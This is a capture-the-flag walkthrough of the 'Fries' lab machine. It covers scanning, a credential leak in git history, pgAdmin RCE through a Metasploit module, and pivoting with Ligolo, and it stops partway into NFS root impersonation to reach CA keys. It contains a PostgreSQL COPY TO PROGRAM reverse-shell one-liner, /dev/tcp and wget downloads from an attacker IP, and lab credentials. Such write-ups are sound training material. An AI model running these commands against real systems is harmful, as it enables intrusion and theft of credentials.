RECON
Creds
Machine information:
As is common in real life Windows penetration tests, you will start the Fries box with credentials for the following account :
[email protected] / D4LE11maan!!
But the provided cred does not work for any initial probes via nxc [smb|ldap|winrm].
Port Scan
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLS2jzf8Eqy8cVa20hyZcem8rwAzeRhrMNEGdSUcFmv1FiQsfR4F9vZYkmfKViGIS3uL3X/6sJjzGxT1F/uPm/U=
| 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFj9hE1zqO6TQ2JpjdgvMm6cr6s6eYsQKWlROV4G6q+4
53/tcp open domain syn-ack Simple DNS Plus
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://fries.htb/
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-11-23 08:40:59Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-23T08:42:49+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Issuer: commonName=fries-DC01-CA/domainComponent=fries
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-18T05:39:19
| Not valid after: 2105-11-18T05:39:19
| MD5: 2410:a18d:14b3:7f5d:8e34:d144:0bac:6469
| SHA-1: 3e84:1436:bb47:6ccd:f5ee:f805:cacd:47b6:6485:7e09
| -----BEGIN CERTIFICATE-----
| MIIF4zCCBMugA...
443/tcp open ssl/http syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
| ssl-cert: Subject: commonName=pwm.fries.htb/organizationName=Fries Foods LTD/stateOrProvinceName=Madrid/countryName=SP/organizationalUnitName=PWM Configuration/localityName=Madrid/[email protected]
| Issuer: commonName=pwm.fries.htb/organizationName=Fries Foods LTD/stateOrProvinceName=Madrid/countryName=SP/organizationalUnitName=PWM Configuration/localityName=Madrid/[email protected]
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-01T22:06:09
| Not valid after: 2026-06-01T22:06:09
| MD5: 118d:ea17:3fba:3b65:28de:8e26:33e7:19f2
| SHA-1: 5503:8aa8:0080:a853:ca73:87e3:b705:3fe8:b599:a855
| -----BEGIN CERTIFICATE-----
| MIIEGTCCAwGgA...
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: F588322AAF157D82BB030AF1EFFD8CF9
|_http-server-header: nginx/1.18.0 (Ubuntu)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-23T08:42:48+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Issuer: commonName=fries-DC01-CA/domainComponent=fries
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-18T05:39:19
| Not valid after: 2105-11-18T05:39:19
| MD5: 2410:a18d:14b3:7f5d:8e34:d144:0bac:6469
| SHA-1: 3e84:1436:bb47:6ccd:f5ee:f805:cacd:47b6:6485:7e09
| -----BEGIN CERTIFICATE-----
| MIIF4zCCBM...
2179/tcp open vmrdp? syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-23T08:42:50+00:00; +7h00m02s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Issuer: commonName=fries-DC01-CA/domainComponent=fries
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-18T05:39:19
| Not valid after: 2105-11-18T05:39:19
| MD5: 2410:a18d:14b3:7f5d:8e34:d144:0bac:6469
| SHA-1: 3e84:1436:bb47:6ccd:f5ee:f805:cacd:47b6:6485:7e09
| -----BEGIN CERTIFICATE-----
| MIIF4zCCBM...
3269/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-23T08:42:48+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Issuer: commonName=fries-DC01-CA/domainComponent=fries
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-18T05:39:19
| Not valid after: 2105-11-18T05:39:19
| MD5: 2410:a18d:14b3:7f5d:8e34:d144:0bac:6469
| SHA-1: 3e84:1436:bb47:6ccd:f5ee:f805:cacd:47b6:6485:7e09
| -----BEGIN CERTIFICATE-----
| MIIF4zCCBMugAwIB...
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack .NET Message Framing
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49685/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49686/tcp open msrpc syn-ack Microsoft Windows RPC
49688/tcp open msrpc syn-ack Microsoft Windows RPC
49689/tcp open msrpc syn-ack Microsoft Windows RPC
49913/tcp open msrpc syn-ack Microsoft Windows RPC
49944/tcp open msrpc syn-ack Microsoft Windows RPC
49971/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 41583/tcp): CLEAN (Timeout)
| Check 2 (port 45430/tcp): CLEAN (Timeout)
| Check 3 (port 27291/udp): CLEAN (Timeout)
| Check 4 (port 10576/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m00s
| smb2-time:
| date: 2025-11-23T08:42:10
|_ start_date: N/AThe initial Nmap sweep exposed a dual-layer infrastructure: a Linux-facing web tier and a fully operational Windows Active Directory environment behind it.
Linux Web Frontend
- 22/tcp – SSH (OpenSSH 8.9, Ubuntu)
- 80/tcp & 443/tcp – nginx/1.18.0: Redirects to
fries.htband serves a TLS-enabled portal forpwm.fries.htb.
The presence of PWM suggests an Active Directory self-service password system, historically prone to misconfigurations and logic vulnerabilities.
Windows AD
- 88 – Kerberos
- 135/139/445 – RPC / NetBIOS / SMB
- 389/636 – LDAP / LDAPS
- 3268/3269 – Global Catalog
- 593 / 9389 – AD Web Services & RPC over HTTP
- 5985 – WinRM
These ports reveal DC01.fries.htb as the primary domain controller for the fries.htb domain.
Service Behavior
- SMB signing is required, reducing relay attack vectors.
- Time skew present: +7h when authenticating using Kerberos.
Web App
http://fries.htb/ serves as a restaurant reservation page — essentially a static façade, no dynamic features exposed.
Subdomain
Fuzzing subdomains of the target reveals hidden infrastructure:
$ ffuf -c -u "http://fries.htb/" -H "Host: FUZZ.fries.htb" -w /home/Axura/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : GET
:: URL : http://fries.htb/
:: Wordlist : FUZZ: /home/Axura/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.fries.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
code [Status: 200, Size: 13593, Words: 1048, Lines: 272, Duration: 2750ms]
:: Progress: [1967/19966] :: Job [1/1] :: 19 req/sec :: Duration: [0:02:13] :: Errors: 0 ::Gitea
Discovered: http://code.fries.htb — an internal Gitea instance hosting source code for internal services. After authenticating as Dale Cooper ([email protected] / D4LE11maan!!):

We gain access to the private repo powering the Fries Main Website, a corporate-facing Flask application.
The project is a Python Flask web service backed by a PostgreSQL database. Its purpose is to deliver the main Fries website, including:
- Public landing page
- About/Staff section
- Menu system (meals, beverages, sides)
- User/database interaction via PostgreSQL
The repository includes Docker-based deployment instructions:

The screenshot reveals intranet user svc@web who is able to run docker from a Linux host.
The application relies on:
- An accessible internal PostgreSQL instance using schema
ps_db - Database management hosted at: http://db-mgmt05.fries.htb
- Access controlled by internal DevOps team (mentions "Dylan, Mike, Dale")
pgAdmin
Accessing http://db-mgmt05.fries.htb with d.cooper's credentials:

We're greeted by pgAdmin 4 v9.1, a PostgreSQL administration portal — requiring DB root creds to explore backend data.
PWM
Visiting https://fries.htb redirects us to https://fries.htb/pwm/private/login:

The login page signals:
"PWM is in open configuration mode and is not secure."
The version is exposed in the page source:
<div class="header-warning-row header-warning-version">PWM v2.0.8 bb7ed22b</div>Accessing the Configuration Manager — a normally restricted area — at: https://fries.htb/pwm/private/config/login

Using d.cooper's credentials fails:

Supplying junk credentials reveals something far more valuable — how PWM connects to LDAP:

The error (5017) indicates:
- PWM attempts LDAPS bind to
ldaps://dc01.fries.htb:636 - Using bind credentials:
CN=svc_infra,CN=Users,DC=fries,DC=htb - Connection fails not from bad credentials, but TLS mismatch — it doesn't trust the Domain Controller's cert.
If we compromise the svc_infra account, we'll have direct LDAP access to AD.
WEB
Gitea Repository
We clone the repository from the internal Gitea server for source review:
git clone http://code.fries.htb/dale/fries.htb.gitSurprisingly, the codebase passes Snyk checks clean — no immediate vulnerabilities flagged:

Rgrep for sensitive strings like password to hunt potential credential leaks:

Nothing exposed in plain text. The application retrieves database credentials through an environment variable (DATABASE_URL) during runtime.
That said, secrets often leak in early commits. Time to dig through Git history. Inside the cloned repo:
$ git status
On branch main
Your branch is up to date with 'origin/main'.
nothing to commit, working tree clean
$ git log --reverse --oneline
be59cce Initial Commit
03a8dc3 Add README.md
3e8ca66 gitignore update
83eef4b Update README.md
ed33034 Update README.md
45c2c6b Update README.md
6266ab4 run.py updated
2c5fc0f Add docker-compose.yml
0e410b7 Added docs images
d03e0d7 Update README.md
47b29c4 (HEAD -> main, origin/main, origin/HEAD) Update README.mdPeeking at the earliest commit with git show be59cce reveals what we need:

The .env file contains:
DATABASE_URL=postgresql://root:[email protected]:5432/ps_db
SECRET_KEY=y0st528wn1idjk3b9aThe credentials root / PsqLR00tpaSS11 grant full access to the PostgreSQL instance via pgAdmin:

pgAdmin
Now with root-level database access, we turn our focus to code execution via this admin panel.
CVE-2025-2945
Our target runs pgAdmin v9.1. A freshly disclosed vulnerability, CVE-2025-2945, aligns precisely — an authenticated RCE via the Query Tool.
A Metasploit module leverages this flaw. It abuses the SQL Query Tool — meant for benign database queries — to execute commands at the OS level.
We verify available modules:
$ msfconsole -q -x 'search pgadmin; exit'
[*] Starting persistent handler(s)...
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/http/pgadmin_binary_path_api 2024-03-28 excellent Yes pgAdmin Binary Path API RCE
1 exploit/multi/http/pgadmin_query_tool_authenticated 2025-04-03 excellent Yes pgAdmin Query Tool authenticated RCE (CVE-2025-2945)
2 exploit/multi/http/pgadmin_session_deserialization 2024-03-04 excellent Yes pgAdmin Session Deserialization RCEModule confirmed. Time to deploy targeting on http://db-mgmt05.fries.htb:
use exploit/multi/http/pgadmin_query_tool_authenticated
set RHOSTS db-mgmt05.fries.htb
set DB_NAME ps_db
set DB_USER root
set DB_PASS PsqLR00tpaSS11
set USERNAME [email protected]
set PASSWORD D4LE11maan!!
set LHOST tun0
runShell access achieved:

Intranet
Setup
Deploy Busybox
Inside the intranet Docker containers, we're boxed in — stripped environment, no curl, no wget. But we pivot by exfil/infil via raw sockets: /dev/tcp lets us transfer binaries without external dependencies.
Upload the magic busybox:
# @attacker: serve target binary
sudo pacman -S busybox # for debian: sudo apt intall busybox
nc -lvp 1234 < $(which busybox)
# @victim: download
bash -c 'cat </dev/tcp/10.10.8.12/1234 > /tmp/busybox'
chmod +x /tmp/busyboxNow we're armed within the containerized environment:
$ ./busybox --help
Usage: busybox [function [arguments]...]
or: busybox --list[-full]
or: busybox --install [-s] [DIR]
or: function [arguments]...
BusyBox is a multi-call binary that combines many common Unix
utilities into a single executable. The shell in this build
is configured to run built-in utilities without $PATH search.
You don't need to install a link to busybox for each utility.
To run external program, use full path (/sbin/ip instead of ip).
Currently defined functions:
[, [[, acpid, addgroup, adduser, adjtimex, ar, arch, arp, arping,
ascii, ash, awk, base32, base64, basename, bbconfig, bc, beep,
blkdiscard, blkid, blockdev, bootchartd, brctl, bunzip2, busybox,
bzcat, bzip2, cal, cat, chat, chattr, chgrp, chmod, chown, chpasswd,
chpst, chroot, chrt, chvt, cksum, clear, cmp, comm, cp, cpio, crc32,
crond, crontab, cryptpw, cttyhack, cut, date, dc, dd, deallocvt,
delgroup, deluser, depmod, df, dhcprelay, diff, dirname, dmesg, dnsd,
dnsdomainname, dos2unix, du, dumpkmap, dumpleases, echo, ed, egrep,
eject, env, envdir, envuidgid, ether-wake, expand, expr, factor,
fakeidentd, fallocate, false, fatattr, fbset, fbsplash, fdflush,
fdformat, fdisk, fgconsole, fgrep, find, findfs, flock, fold, free,
freeramdisk, fsck, fsck.minix, fsfreeze, fstrim, fsync, ftpd, ftpget,
ftpput, fuser, getopt, getty, grep, groups, gunzip, gzip, halt, hd,
hdparm, head, hexdump, hexedit, hostid, hostname, httpd, hwclock,
i2cdetect, i2cdump, i2cget, i2cset, i2ctransfer, id, ifconfig, ifdown,
ifenslave, ifplugd, ifup, inetd, init, inotifyd, insmod, install,
ionice, iostat, ip, ipaddr, ipcalc, ipcrm, ipcs, iplink, ipneigh,
iproute, iprule, iptunnel, kbd_mode, kill, killall, killall5, klogd,
less, link, linux32, linux64, linuxrc, ln, loadfont, loadkmap, logger,
login, logname, logread, losetup, lpd, lpq, lpr, ls, lsattr, lsmod,
lsof, lspci, lsscsi, lsusb, lzcat, lzma, lzopcat, makedevs, makemime,
man, md5sum, mdev, mesg, microcom, mkdir, mkdosfs, mke2fs, mkfifo,
mkfs.ext2, mkfs.minix, mkfs.vfat, mknod, mkpasswd, mkswap, mktemp,
modinfo, modprobe, more, mount, mountpoint, mpstat, mt, mv, nameif,
nbd-client, nc, netstat, nice, nl, nmeter, nohup, nproc, nsenter,
nslookup, ntpd, od, openvt, partprobe, passwd, paste, patch, pgrep,
pidof, ping, ping6, pipe_progress, pivot_root, pkill, pmap, popmaildir,
poweroff, powertop, printenv, printf, ps, pscan, pstree, pwd, pwdx,
raidautorun, rdate, rdev, readahead, readlink, readprofile, realpath,
reboot, reformime, renice, reset, resize, resume, rev, rfkill, rm,
rmdir, rmmod, route, rpm2cpio, rtcwake, run-init, run-parts, runsv,
runsvdir, rx, script, scriptreplay, sed, seedrng, sendmail, seq,
setarch, setconsole, setfattr, setfont, setkeycodes, setlogcons,
setpriv, setserial, setsid, setuidgid, sh, sha1sum, sha256sum, sha3sum,
sha512sum, showkey, shred, shuf, slattach, sleep, smemcap, softlimit,
sort, split, ssl_client, start-stop-daemon, stat, strings, stty, su,
sulogin, sum, sv, svc, svlogd, svok, swapoff, swapon, switch_root,
sync, sysctl, syslogd, tac, tail, tar, taskset, tc, tcpsvd, tee,
telnet, telnetd, test, tftp, tftpd, time, timeout, top, touch, tr,
traceroute, traceroute6, tree, true, truncate, ts, tsort, tty, ttysize,
tunctl, tune2fs, ubiattach, ubidetach, ubimkvol, ubirename, ubirmvol,
ubirsvol, ubiupdatevol, udhcpc, udhcpc6, udhcpd, udpsvd, uevent,
umount, uname, uncompress, unexpand, uniq, unix2dos, unlink, unlzma,
unlzop, unshare, unxz, unzip, uptime, usleep, uudecode, uuencode,
vconfig, vi, vlock, volname, watch, watchdog, wc, wget, which, whoami,
whois, xargs, xxd, xz, xzcat, yes, zcat, zcipTunneling
The internal Docker network, previously mapped via docker-compose configs and PostgreSQL routing, looks like:
172.18.0.1– Docker bridge172.18.0.2– Web container172.18.0.3– PostgreSQL172.18.0.4– pgAdmin
Scanning deeper with fscan gave us:
$ /tmp/fscan -h 172.18.0.0/16
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
(icmp) Target 172.18.0.1 is alive
(icmp) Target 172.18.0.6 is alive
(icmp) Target 172.18.0.3 is alive
(icmp) Target 172.18.0.2 is alive
(icmp) Target 172.18.0.4 is alive
(icmp) Target 172.18.0.5 is aliveBut the scan disrupted our fragile TTY — no proper shell resilience. Enter: Ligolo-NG.
We leverage the busybox bootstrap to upload the Ligolo agent and pivot the internal network out:
# @attacker
cd hacktools/port4ward/ligolo-ng
python -m http.server 80
# @victim
/tmp/busybox wget 10.10.8.12/agent -O agent
chmod +x /tmp/agent
# @attacker: fix Docker conflict (optional)
# $ ip a
# 3: br-78321bb94a8a: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group # default
# link/ether c6:60:f9:c4:2e:24 brd ff:ff:ff:ff:ff:ff
# inet 172.18.0.1/16 brd 172.18.255.255 scope global br-78321bb94a8a
# valid_lft forever preferred_lft forever
# $ docker network ls
# NETWORK ID NAME DRIVER SCOPE
# 78321bb94a8a bloodhound-docker_default bridge local <- my conflict one
# cff180351fa0 bridge bridge local
# b49dac7d2e1c host host local
# dda2d551391e none null local
## temporary remove the conflict network
sudo systemctl stop docker
sudo ip link set br-78321bb94a8a down
sudo ip addr flush dev br-78321bb94a8a
# @attacker: ligolo server
ifcreate --name ligolo
route_add --name ligolo --route 192.168.100.0/24
route_add --name ligolo --route 172.18.0.0/16
# @victim: ligolo agent
/tmp/agent -connect 10.10.8.12:11601 -ignore-cert &Tunnels established:

Intranet Port Scan
After setting up tunnel for port forwarding (or just run scanner on the container):
Docker Network
We can scan Docker Network (172.18.0.0/16) — Internal Services.
Result on 172.18.0.2 (web container):
$ nmap -A -T4 172.18.0.2
PORT STATE SERVICE VERSION
5000/tcp open http Werkzeug httpd 2.3.7 (Python 3.11.2)
|_http-server-header: Werkzeug/2.3.7 Python/3.11.2Result on 172.18.0.3 (postgres container):
$ nmap -A -T4 172.18.0.3
PORT STATE SERVICE VERSION
5432/tcp open postgresql PostgreSQL DB 9.6.0 or laterResult on 172.18.0.4 (pgadmin container):
$ nmap -A -T4 172.18.0.4
PORT STATE SERVICE VERSION
80/tcp open http Gunicorn
| http-title: pgAdmin 4
|_Requested resource was /login?next=/Result on 172.18.0.5 (gitea server):
$ nmap -A -T4 172.18.0.5 -Pn
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey:
| 256 71:71:5d:c2:d8:fe:27:ba:99:ae:e0:27:a4:0b:27:3a (ECDSA)
|_ 256 8f:86:ba:d6:c2:8a:8c:24:cc:7b:59:b2:c4:a1:db:50 (ED25519)
3000/tcp open http Golang net/http server
|_http-title: Gitea: Git with a cup of teaThe bridge interface (another interface of the same host that is already serving NFS on 192.168.100.2):
$ nmap -A -T4 172.18.0.1
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://fries.htb/
111/tcp open rpcbind 2-4 (RPC #100000)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=pwm.fries.htb/organizationName=Fries Foods LTD/stateOrProvinceName=Madrid/countryName=SP
2049/tcp open nfs 3-4 (RPC #100003)
3000/tcp open http Golang net/http server
|_http-title: Gitea: Git with a cup of tea
8443/tcp open ssl/http Apache Tomcat (language: en)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=pwm.fries.htbOthers:
$ nmap -A -T4 172.18.0.6 -Pn
PORT STATE SERVICE VERSION
8443/tcp open ssl/http Apache Tomcat (language: en)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=pwm.fries.htbWindows AD Network
Scan Windows AD Network 192.168.100.0/24 — The Real Attack Surface.
Domain controller on 192.168.100.1:
$ nmap -A -T5 192.168.100.1 -Pn
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos
135/tcp open epmap
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd
593/tcp open unknown
636/tcp open ldapsThe Linux host on 192.168.100.2:
$ nmap -A -T5 192.168.100.2
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open sunrpc
443/tcp open https
2049/tcp open nfsThat second one smells like storage / infra. NFS there is very likely our way into AD secrets.
Topology
So now we are clear:
172.18.0.1= Docker bridge interface on the Linux host172.18.0.2= web container (Flask Web App, Werkzeug, Python 3.11.2)172.18.0.3= postgres container (Postgres 16, used by the web app.)172.18.0.4= pgadmin container (current foothold)172.18.0.5= Gitea container (has port 22 open)172.18.0.6= PWM container (Apache Tomcat)
Docker Containers
pgAdmin Container
We're in a pgAdmin 4 container, the one fronting db-mgmt05.fries.htb:
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether ba:c4:6e:77:33:0d brd ff:ff:ff:ff:ff:ff
inet 172.18.0.4/16 brd 172.18.255.255 scope global eth0
valid_lft forever preferred_lft foreverWe have direct network reach to the Domain Controller (192.168.100.1):
$ ping -c 1 dc01.fries.htb
PING dc01.fries.htb (192.168.100.1): 56 data bytes
64 bytes from 192.168.100.1: seq=0 ttl=42 time=2.761 ms
--- dc01.fries.htb ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 2.761/2.761/2.761 ms
$ nslookup dc01.fries.htb
Server: 127.0.0.11
Address: 127.0.0.11:53
Name: dc01.fries.htb
Address: 192.168.100.1Check env:
meterpreter > shell
Process 1140 created.
Channel 1 created.
$ env
HOSTNAME=cb46692a4590
SHLVL=1
PGADMIN_DEFAULT_PASSWORD=Friesf00Ds2025!!
CONFIG_DISTRO_FILE_PATH=/pgadmin4/config_distro.py
HOME=/home/pgadmin
[email protected]
SERVER_SOFTWARE=gunicorn/22.0.0
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
OAUTHLIB_INSECURE_TRANSPORT=1
CORRUPTED_DB_BACKUP_FILE=
PWD=/pgadmin4
PGAPPNAME=pgAdmin 4 - CONN:8151757
PYTHONPATH=/pgadmin4The environment variables expose a second admin credential: [email protected] / Friesf00Ds2025!!.
Confirmed valid for pgAdmin at: http://db-mgmt05.fries.htb.
PostgreSQL Container
Authenticated via pgAdmin as [email protected], and connected to the PostgreSQL backend at 172.18.0.3:5432 using root / PsqLR00tpaSS11, we gain full query access via the Query Tool:

Now, armed with PayloadsAllTheThings - PostgreSQL RCE, we exploit PostgreSQL's COPY TO PROGRAM feature for command execution:
COPY (SELECT '') TO PROGRAM
'bash -c "bash -i >& /dev/tcp/10.10.8.12/60001 0>&1"';Start a netcat listener. Then trigger the payload — instant reverse shell:

We're now postgres, inside the DB container.
Interestingly, this user is part of the ssl-cert group, which grants execution rights (not read) on root-owned files within /etc/ssl/private:
postgres@858fdf51af59:/tmp$ ls -l /etc/ssl/
total 24
drwxr-xr-x 2 root root 4096 May 22 2025 certs
-rw-r--r-- 1 root root 12332 Apr 15 2025 openssl.cnf
drwx--x--- 2 root ssl-cert 4096 May 22 2025 private
postgres@858fdf51af59:/tmp$ ls -l /etc/ssl/certs
total 4
lrwxrwxrwx 1 root root 21 May 22 2025 ce275665.0 -> ssl-cert-snakeoil.pem
-rw-r--r-- 1 root root 1090 May 22 2025 ssl-cert-snakeoil.pem
postgres@858fdf51af59:/tmp$ ls -l /etc/ssl/private
ls: cannot open directory '/etc/ssl/private': Permission deniedWhile we can't read these files directly, we may be able to execute or leverage them indirectly — potential pivot via openssl, custom scripts, or key export abuse. Keep this in the escalation toolkit.
Web Container
With [email protected] / Friesf00Ds2025!! discovered from the pgAdmin environment, we pivot.
Earlier Gitea recon exposed the username in its README.md: svc.
We also observed SSH open on the web container (192.168.100.2), namely the Docker bridge at 172.18.0.1. Let's aim for direct lateral SSH access using the admin password (Friesf00Ds2025!!) with its OS username (svc):

NFS
We've demonstrated NFS exploitation before — like in Scepter — and the same vector now presents itself again.
From our attacker machine, routed via Ligolo into 192.168.100.0/24, we probe the target for exports:
$ showmount -e 192.168.100.2
Export list for 192.168.100.2:
/srv/web.fries.htb *We mount the export to a local directory:
$ sudo mkdir -p /mnt/webfries
$ sudo mount -t nfs 192.168.100.2:/srv/web.fries.htb /mnt/webfries -o vers=3
$ ls -l /mnt/webfries -a
total 20
drw-r-xr-x 5 655 root 4096 May 28 10:17 .
drwxr-xr-x 4 root root 4096 Nov 23 03:01 ..
drwxrwx--- 2 root 59605603 4096 May 26 11:13 certs
drwxrwxrwx 2 root root 4096 May 31 04:11 shared
drwxr----- 5 Axura Axura 4096 Jun 7 06:30 webrootMost directories are restricted. webroot is user-owned. shared is world-writable. But certs — the crown — is owned by GID 59605603, and off-limits to us under normal UID/GID.
Nfsclient Impersonation
The export allows universal access:
/srv/web.fries.htb *And it does not squash root — remote UID 0/GID 0 is honored. Meaning we can spoof root and bypass NFS permission boundaries using nfsclient.
Listing contents as root:0:0:
sudo nfsclient 192.168.100.2:/srv/web.fries.htb root:0:0 ls ./Confirmed — remote root is trusted:

Permissions breakdown:
/srv/web.fries.htb
├── webroot (UID 1000 / GID 1000)
├── certs (UID 0 / GID 59605603)
└── shared (UID 0 / GID 0)Privesc Vectors
CA Certs
We target certs by impersonating UID 0 / GID 59605603:
$ sudo nfsclient 192.168.100.2:/srv/web.fries.htb root:0:59605603 ls ./certs
+--------------------+-----+----------+----------+------+
| FILENAME | UID | GID | MODE | SIZE |
+--------------------+-----+----------+----------+------+
| ca.pem | 0 | 59605603 | 0x52d580 | 1111 |
| server.csr | 0 | 59605603 | 0x52d580 | 940 |
| server-cert.pem | 0 | 59605603 | 0x52d580 | 1115 |
| server-key.pem | 0 | 59605603 | 0x52d580 | 1704 |
| .. | 655 | 0 | 0x52d580 | 4096 |
| ca-key.pem | 0 | 59605603 | 0x52d580 | 1708 |
| server-openssl.cnf | 0 | 59605603 | 0x52d580 | 205 |
| . | 0 | 59605603 | 0x52d580 | 4096 |
+--------------------+-----+----------+----------+------+CA certs are absolutely interesting. Attempting to download directly:
sudo nfsclient 192.168.100.2:/srv/web.fries.htb root:0:59605603 down ./certs/ca.pem Returns "bad file descriptor" — a known limitation in nfsclient when reading certain exports.
Web Container Real Path
Over on the web container (192.168.100.2), the actual underlying path is:
svc@web:~$ ll /srv/web.fries.htb/
total 20
drw-r-xr-x 5 655 root 4096 May 28 17:17 ./
drwxr-xr-x 3 root root 4096 May 27 18:11 ../
drwxrwx--- 2 root infra managers 4096 May 26 18:13 certs/
drwxrwxrwx 2 root root 4096 May 31 11:11 shared/
drwxr----- 5 svc svc 4096 Jun 7 13:30 webroot/certs/→ belongs to group infra managers (GID 59605603)svcis unprivileged:uid=1000(svc) gid=1000(svc)
Clear privilege escalation vector: own a member of infra managers, or exploit the trust in NFS from remote.
Nfs-security-tooling
To circumvent nfsclient's limitations, we swap to nfs-security-tooling:
